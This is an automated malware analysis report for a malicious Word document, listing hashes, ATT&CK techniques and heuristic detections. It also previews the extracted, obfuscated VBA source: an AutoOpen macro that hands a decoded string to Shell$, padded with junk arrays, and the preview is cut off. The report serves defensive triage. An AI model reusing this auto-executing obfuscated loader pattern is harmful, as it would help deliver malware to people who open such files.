Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2e1b65a6e5fcc42a…

MALICIOUS

Office (OLE)

169.5 KB Created: 2017-11-14 21:08:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: d11416ba7e71647f022ff493a30a917a SHA-1: c54a3e50d1ed0360c5883a0a830e358be06eae82 SHA-256: 2e1b65a6e5fcc42a380a65b4fbb4e5126ac2e96ea7c7e2ca2fa46aa98bbd1060
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro triggers the execution of a payload using the Shell() function. The presence of the 'Doc.Macro.Obfuscation-6355576-0' ClamAV detection and the 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic strongly indicate a macro-based malware delivery mechanism, likely intended to be delivered via spearphishing.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 244721 bytes
SHA-256: 916fa25b0782e5b5f4d38b7a32a77d904b909db8c7a40a709e7c71fd517f3f79
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 104 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UAliKtrOz"
Sub AutoOpen()
nTEjtuJvq = "nzdplYEVD" + "LwojTKbdN" + "CiblUJULq" + "frtNztsdb"
Shell$ BtIPfiJlf, 0
WOJHmmwWT = "VDzuIQjHM" + "OBdUUahZi" + "JwwuqpiFP" + "EuvpozqzH"
End Sub
Function BtIPfiJlf()
TiAusl = "ZfUYw0jPN0HAccBjCqzTaUkkFTUhdaQfdEKLjozkCZdEWijqZSUVCCQCkRVVwvGNXbWYRqzNqORAqjObkiILFvdbnHbSTinHTQjuHKYiSGfnlPMDCtkSmvHbwvkJPjuLaJhazUTZFZswQqpYvXQZtVUYIFvLaOTmMTMbilEiaLNNCJLIFMOsQURFoJSRWYCcXG1W39TBwfohHP1di"
snbAFQbLo = Mid(TiAusl, 11, 177)
OQwGNf = Array(Array(36, 58, 68, 52), Array(27, 96, 93, 80))
TtjmZnESDF = Array(Array(90, 11, 70, 51), Array(19, 19, 13, 26))
AvljHwp = Array(Array(55, 97, 13, 86), Array(42, 98, 48, 68))
jlqktDjfAOw = "MDuYHzrGGlzdNpKShziHHVztnGNAbVsBGnYSKJSMVHwXOirWDw8GnczFKX"
KkFEWPFzWw = Mid(jlqktDjfAOw, 3, 47)
lwTVZWoHwA = Array(Array(73, 90, 17, 79), Array(55, 68, 27, 26))
OQBiFSwWK = Array(Array(31, 22, 11, 75), Array(64, 47, 80, 14))
LGQuEzuiwJY = Array(Array(80, 27, 76, 12), Array(10, 80, 96, 56))
GpkSiAuY = "50YrnHSHnmiRQQRAlSlWWqdDaJGSXCJTjkdIWoqDWbIzQLUEmNkQpBYKhVRiBAjli0SZ9qzDbY1qvGNcHuJnnFstwodELsU"
SFuiBNnqMQ = Mid(GpkSiAuY, 3, 62)
SCFinAn = Array(Array(28, 89, 74, 20), Array(72, 34, 62, 18))
ihZTuIiwc = Array(Array(15, 72, 19, 63), Array(68, 32, 27, 83))
CJaLjzpLu = Array(Array(27, 88, 75, 10), Array(47, 48, 35, 28))
OWAUwQVW = "79ThpcnEzAOFjBbuUtioijnGnDrwFBbbctNzRjJQmzlLJYfGi05isjvRNJ"
DKYof = Mid(OWAUwQVW, 4, 42)
vaHkwjcQ = Array(Array(79, 27, 81, 27), Array(61, 74, 10, 17))
bjUti = Array(Array(74, 40, 69, 81), Array(28, 49, 66, 36))
jjRuA = Array(Array(96, 66, 19, 91), Array(76, 20, 96, 88))
tuJWCpiDM = "dIw7aOrJz5JJQsCjWNKmahXaAHaFoQvfizahsJPKKVDkplLaqhrmOwdGimAJESrkQDSdVUrMzzbFdmkPwAPHZJRfVUzFJGGsdSUmShEVpfpOWYcvBkMDDkLHlmHEWJ"
NhMvzhJMFOq = Mid(tuJWCpiDM, 15, 109)
vfkviAas = Array(Array(88, 40, 18, 52), Array(81, 10, 52, 16))
ObNARm = Array(Array(43, 41, 39, 89), Array(40, 97, 61, 76))
kKoYu = Array(Array(22, 28, 69, 60), Array(44, 74, 97, 21))
bjwPGkVibi = "IWi8kdcY6cKtivMGHwNNR8NiiMc6Ql0vbMrwzDGhwjDkIAcupDZjSMiRuvFGqiEkhzOoTHKGOhuNOhGBImjkZadpVaDBwAqUbTCIlnahsTRlRUCMp5q2kj"
BwiNMmkwvT = Mid(bjwPGkVibi, 35, 79)
HuvhwvfY = Array(Array(83, 35, 88, 56), Array(50, 16, 58, 12))
DZTswXtMtd = Array(Array(45, 53, 79, 54), Array(15, 13, 80, 77))
UvRRBvjI = Array(Array(58, 60, 75, 34), Array(81, 88, 51, 17))
RGioYJS = "IwZRMn4dmaES3PvXchXoZYFtPRcCLkMLqDbjHAkSqusiGklVcwUadvoCTDcGizBhCCOjUiIPwFwifbmijHZPQlivPYQDXinssLcEVBAunEdYzJWrRwaXXmQQUTUvSErSRFmTziJiHfbLIKwFCYmZDQUFuLjBhFcjNKGrXDsjovPsLFIKVOttSSOBljYnwHwBDU2Y"
wqoIbzQ = Mid(RGioYJS, 18, 176)
qtnKjTNd = Array(Array(75, 73, 46, 82), Array(44, 81, 21, 95))
hwrTUkzO = Array(Array(69, 90, 41, 88), Array(78, 97, 87, 12))
lFwpHqzC = Array(Array(29, 84, 32, 56), Array(10, 58, 19, 82))
jIVjJQPt = "sBVmCqsjbLSzwPvtRuTCJzsDDZuCotHMAjZDADcwVnzRdEnwIKSQnidKJRicwquhDGwQqrtORVhVAbZzlztiarYSDOuiUACfsPNWHXGQQEzSBHKirirwwQGLiiMbzKtRTCckNDsOrcNWsFQvELqmJo0FI4EU7zwpL8p7qd4AIQjH5H0iAvTptcsK"
dFpipPIa = Mid(jIVjJQPt, 2, 148)
bwbXVT = Array(Array(67, 52, 46, 37), Array(49, 46, 21, 99))
bXwcttjpwF = Array(Array(94, 92, 25, 77), Array(13, 83, 69, 88))
LoiWwEGnX = Array(Array(40, 39, 62, 71), Array(54, 99, 64, 70))
sliZiYuuY = "wHzpLbNnoIiGRRhM4V2BWvcz0hEzEuULGVZTsEJHOqZmvfzPUMBsFJsXAYqMuCmZHHvnMUhdiLDvriGhrpdssbFzdBSUNzNLDAfnjKCAiYJuFzfSRJVFZujfCwJLBMQlwsrrCTzjmdNURKrjWADEcHlJTzllArwRIYwNFnPwLoSwhMOrGdoAJLJqGhXDhMj24"
FFhfqjLFwt = Mid(sliZiYuuY, 27, 164)
dmmmo = Array(Array(37, 76, 92, 57), Array(48, 22, 18, 55))
bXkpizbJRA = Array(Array(37, 98, 92, 77), Array(91, 74, 42, 50))
pOlwiEpEQ = Array(Array(78, 15, 56, 24), Array(19, 47, 53, 71))
uNMwFZ = "sMHHIQRvfDicIBocKiTFLhzziaUoqcGTCkTcOQXlUHIPTAbLOQDNJIKKGRRdrBvjzPZYiMOuGhlEZjjiwJaaZtJuZJVwztuTLbSDaDdCBIGcWGkXkmfhaVGDGiwYqRuMmSszRdDvjYYQnhXT
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.